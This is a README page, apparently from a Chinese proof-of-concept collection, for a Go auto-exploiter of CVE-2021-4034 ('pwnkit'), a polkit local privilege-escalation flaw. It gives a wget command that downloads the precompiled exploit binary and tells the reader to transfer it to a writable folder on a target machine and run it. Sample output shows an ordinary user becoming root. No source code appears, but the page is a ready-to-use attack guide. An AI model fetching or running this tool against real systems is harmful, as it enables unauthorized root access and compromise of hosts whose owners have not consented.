CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Description

pwnkit auto exploiter written in Go, no network connectivity required.

介绍

# CVE-2021-4034
This is my own implementation of CVE-2021-4034, more commonly known as pwnkit. Unlike other automated exploits of CVE-2021-4034 this implementation does not download any additional payloads and is contained all within one easy to transfer file.

## Download
```shell
wget https://github.com/1337Rin/CVE-2021-4034/raw/main/pwnkit
```

## Usage
This exploit has no cli options but it does check if the system is vulnerable and has all the required external commands. To use it just transfer the compiled binary to a writable folder on the target machine and make it executable.
```shell
$ chmod +x pwnkit
```
### Example 1
```shell
./pwnkit
[+] Testing to see if machine is vulnerable
[-] This machine is not vulnerable to pwnkit
[-] Exiting
```
### Example 2
```shell
$ whoami
tester
$ ./pwnkit
[+] Testing to see if machine is vulnerable
[+] This machine is vulnerable to pwnkit
[+] Checking for required commands
[+] gcc exists
[+] echo exists
[+] mkdir exists
[+] cp exists
[+] attempting exploit
manual clean up required
# whoami
root
```

文件快照

备注